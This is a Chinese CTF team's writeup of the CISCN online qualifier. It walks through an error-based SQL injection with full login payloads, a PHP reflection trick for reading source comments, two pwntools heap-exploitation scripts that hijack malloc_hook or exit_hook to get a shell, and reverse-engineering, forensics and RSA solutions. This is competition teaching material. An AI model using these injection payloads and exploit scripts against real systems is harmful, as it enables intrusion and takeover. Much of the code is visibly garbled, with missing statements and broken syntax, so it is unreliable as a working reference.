红色代码战队 第十四届全国大学生信息安全竞赛-线上赛Writeup
作者:BL、Evan、PYozo、末初 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
白帽子社区渗透团队、CTF战队(红色代码战队)招人中,有兴趣加入请添加微信:
打开页面得到一个登入框
security
admin')and (select id from flag)--+
原理就是在使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名, 在使用 using 函数依次爆出其他字段名,这里通过两次得到了 id 跟 no 这个列
admin')and(select*from(select*fromflagasajoinflagasbusing(id,no))asc)--+
查询得到第 3个列 03165c24-8697-4a1f-b41f-af4d00def40c,这里因为列名开头是数字假设如果还有列应该要加``
现在得到了flag的3个列现在使用报错注入去获取数据,这里因为updatexml只能获取32 位需要使用函数去获取后半部分,这里得到前32位
CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-J admin')and updatexml(1,concat(0x1,((select
03165c24-8697-4a1f-b41f-af4d00def40c` fromflag))),1)--+
这里使用 mid 取出后面的部分
admin')and updatexml(1,concat(0x1,mid((select
03165c24-8697-4a1f-b41f-af4d00def40c` fromflag),10,32)),1)--+
CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JwK-a5sVT-0qwD2-Ys9hF-JchKZ-}
拼接得到最终
flag :CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JchKZ-}
流程分析
直接打开JEB看一看,查看MainActivity函数,发现checkFlag没有
exp
#include<iostream>
#include<Windows.h>
using namespace std;
UINT sz=0;
unsigned char ida_chars[] =
{
0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84,0x65, 0xC2,
0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E,0x36, 0x4F,
0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D,0x42, 0xC7,
0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98,0x3F
};
unsigned char S[256];unsigned char T[256];
string key = "12345678";
PVOID ReadFileFunc()
{
HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战
GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |
0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);
sz = GetFileSize(hFile, 0);
PVOID buf = malloc(sz);
DWORD rsize = 0;
buf, sz, &rsize, 0);
CloseHandle(hFile);
return buf;
}
void decrypt2()
{
i=0;i<39;i+=8)
for (int j = 0; j < 8; j++)
{
if (i + j == 39)
break;
+ j] = ida_chars[i + j] ^ key[j];
}
for (int i = 0; i < 39; i += 3)
{
+ 1] = ida_chars[i + 1] ^ida_chars[i];
+ 2] = ida_chars[i + 2] ^ida_chars[i + 1];
ida_chars[i] ^ ida_chars[i +2]; =
}
}
void R1()
{
for (int i = 0; i != 256; i++)
{
i; =
key[i % 8]; =
}
int v9 = 0;
for (int i = 0; i != 256; i++)
{
int tmp = S[i];
v9 = (tmp + v9 + T[i]) % 256;
S[v9]; =
tmp; =
}
}
void decrypt1()
{
R1();
int count = 0x27;
int i = 0;
int v4 = 0;
int v3 = 0;int v5=0;
int index=0;
while (count)
{
--count;
v4 = (v4 + 1) % 256;
v5 = S[v4];
v3 = (v3 + S[v4]) % 256;
S[v3]; =
v5; =
^= S[(v5 + S[v4])%256];
}
for (int i = 0; i < 0x27; i++)
cout << (char)ida_chars[i];
}
VOID WriteFileFunc(PVOID buf)
{
HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战
GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |
0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);
DWORD rsize;
buf, sz, &rsize, 0);
}
int main()
{
/*
PVOID p = ReadFileFunc();
decrypt((PCHAR)p);
WriteFileFunc(p);
*/
key=decrypt1();
<< key;
decrypt2();
decrypt1();
flag为CISCN{6654d84617f627c88846c172e0f4d46c}
本题知识点
PHP 反射,ReflectionMethod 构造 User 类中的函数方法,再通过getDocComment 获取函数的注释
题目打开只有一个500 报错
你知道开发一个 php 程序很重要的东西是什么吗( 备份) 扫描源代码文件, 发现 index.php.swo 备份文件:
http://124.70.27.139:26380/.index.php.swo
$rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"];
$method= new $rc($ra, $rb); var_dump($method->$rd());
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
http://124.70.27.139:26380/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
flag CISCN{io0P0-UDS1r-Unzhh-051Rs-2auEk-}
漏洞分析
libc本部是libc-2.27 1.3是有key的保护的,但有uaf漏洞
这样的话,我们只要修改key,就可以接着free,来double free tache
解题思路
通过uaf和double free先leak heap的地址,再到heap中 fakechunk一个unsorted bin的堆,再接着
double free tache,修改其fd指针,让其指向fake chunk,再释放这个unsortedbin chunk,然后leak
libc后,直接double free tache,劫持 malloc_hook,来getshell
exp
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
p=process('./pwn')
libc=ELF('./libc-2.27.so')
#p=remote(124.70.48.138',23622)
def add(idx,size):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(idx,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Content: ')
p.sendline(content)
p.interactive()
得到flag
CISCN{bD3W5-OYKJ5-A4LPk-yh84S-n2BQb-}
from pwn
import * context.log_level = True
p = remote(" 124.70.48.138", 23675)
def menu(choice):
io.recvuntil("choice: ") io.sendline(str(choice)) menu(2) io.recvuntil(
"Index: ") io.sendline("256") menu(2) io.recvuntil("Index: ") io
.sendline("256") menu(1) io.recvuntil("Index: ")
io.send(b "\xe7\xff\xff\xff\xff\xff\xff\xff") io.recvuntil("Result: ")
libc_base = int(io.recvline()[: -1], 16) - 0x80aa0 log.info(
"libc_base: " + hex(libc_base)) environ_addr = 0x3ee098 +
libc_base
exit_hook = libc_base + 0x619f68 gadget_addr = libc_base + 0x10a41c
log.info("environ_addr: " + hex(environ_addr)) menu(1)
io.recvuntil("Index: ") io.send(b "\xf5\xff\xff\xff\xff\xff\xff\xff") io
.recvuntil("Result: ")
base_addr = int(io.recvline()[: -1], 16) - 0x202008 log.info(
"base_addr: " + hex(base_addr))
menu(1) io.recvuntil("Index: ")
io.send(p64((environ_addr - base_addr - 0x202060) // 8)) io.recvuntil("Result: ")
stack_addr = int(io.recvline()[: -1], 16) - (
0x7fffffffdea8 - 0 x7fffffffdd88) log.info(
"stack_addr: " + hex(stack_addr)) menu(2) io.recvuntil(
"Index: ") io.sendline(str((stack_addr - (base_addr +
0x202060)) // 8))
io.send(p64(gadget_addr)) io.interactive()
CISCN{XIli4-6MXJq-gSgfL-w4rZb-2RMJT-}
根据链接:
https://www.jianshu.com/p/42cb026ce541
使用clang命令编译baby.bc文件:clang baby.bc -o baby
得到文件,放入ida中找到main函数,查看伪c代码,发现了docheck函数双击跳转。
然后编写脚本:
EXP:Python
from z3 import *
from hashlib import md5
r = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00,0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00,0x01, 0x00]]
c = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00,0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00,0x00, 0x01]]
s = Solver()
m = [[Int("x%d%d"%(i, j)) for iin range(5)] for j in range(5)]
print(m)
s.add(m[2][2] == 4)
s.add(m[3][3] == 3)
for i in range(5):
forj in range(5):
s.add(m[i][j] >= 1)
s.add(m[i][j] <= 5)
for i in range(5):
forj in range(5):
for k in range(j):
s.add(m[i][j] != m[i][k])
for j in range(5):
fori in range(5):
for k in range(i):
s.add(m[i][j]!= m[k][j])
for i in range(5):
forj in range(4):
if r[i][j] == 1:
s.add(m[i][j] > m[i][j+1])
elif r[i][j] == 2:
s.add(m[i][j] < m[i][j+1])
for i in range(4):
forj in range(5):
if c[i][j] == 2:
s.add(m[i][j] > m[i+1][j])
elif c[i][j] == 1:
s.add(m[i][j] < m[i+1][j])
answer = s.check()
print(answer)
if answer == sat:
print(s.model())
m =s.model()
F =[]
fori in m:
for j in i:
F.append(m[j].as_long())
fori in range(len(F)):
F[i] += 0x30
F[12] = 0x30
F[18] = 0x30
F =bytes(F)
print(F)
print(md5(F).hexdigest())
即可得出flag
隔空传话
利用在线网站
http://www.sendsms.cn/pdu/
手动解出短信加密,拿到前三条提示
flag第一部分为手机号前八位
第二部分为后面发送的数据
用python分割数据包,利用Excl表格进行排序后发现第一条发送的数据有png头,拼接所有数据改宽以后发现一张图片
利用手机号前八位和图片内容拼接得到flag
**GIF**
下载附件发现是gif图
import os
from PIL import Image
def analyseImage(path):
im = Image.open(path)
results = {
'size': im.size,
'mode': 'full',
}
try:
while True:
if im.tile:
tile = im.tile[0]
update_region = tile[1]
update_region_dimensions =update_region[2:]
if update_region_dimensions !=im.size:
results['mode'] = 'partial'
break
im.seek(im.tell() + 1)
except EOFError:
pass
return results
def processImage(path):
mode = analyseImage(path)['mode']
im = Image.open(path)
i= 0
p= im.getpalette()
last_frame = im.convert('RGBA')
try:
while True:
print("saving %s (%s) frame %d, %s %s" % (path, mode, i,im.size, im.tile))
if not im.getpalette():
im.putpalette(p)
new_frame = Image.new('RGBA', im.size)
if mode == 'partial':
new_frame.paste(last_frame)
new_frame.paste(im, (0, 0), im.convert('RGBA'))
new_frame.save('res/%d.png' % i, 'PNG')
i += 1
last_frame = new_frame
im.seek(im.tell() + 1)
except EOFError:
pass
def main():
processImage('res.gif')
if __name__ == "__main__":
main()
得到382张图
from PIL import Image
np = Image.new('L', (400, 400))
for i in range(382):
p= Image.open(str(i) + '.png').convert("RGB")
A, B = p.size
for y in range(B):
for x in range(A):
if p.getpixel((x, y)) == (233, 233, 233):
np.putpixel((y, x), 255)
np.save('res/' + str(i) + '.png')
将图片保存在一个文件夹里利用脚本可看见斗蓬上有几个小点,联想到图片,这不是R.G.B嘛
获取小点的RGB值为(233,233,233),再按照顺序得到出现的字符解码为小写就为flag
参考链接:
https://weichujian.github.io/2020/05/27/rsa%E5%B7%B2%E7%9F%A5%E9%AB%98%E4%BD%8D%E6%94%BB%E5%87%BB1/
https://github.com/comydream/CTF-RSA/blob/608ec29dc363ca534522c1a899cc86b0ffb1ec95/%E5%8A%A0%E5%AF%86%E6%8C%87%E6%95%B0/copperSmith%E9%83%A8%E5%88%86%E4%BF%A1%E6%81%AF%E6%94%BB%E5%87%BB/rsa2.sage
脚本如下:
p3 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
pbits = 512
kbits = pbits - p3.nbits()
print p3.nbits()
p3 = p3 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p3
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print "x: %s" %hex(int(x0))
p = p3+x0
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q)
后面就是常规的RSA解密,得到:
b’\nO wild West Wind, thou breath of Autumn's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n’
Md5加密得到flag。
flag:CISCN{3943e8843a19149497956901e5d98639}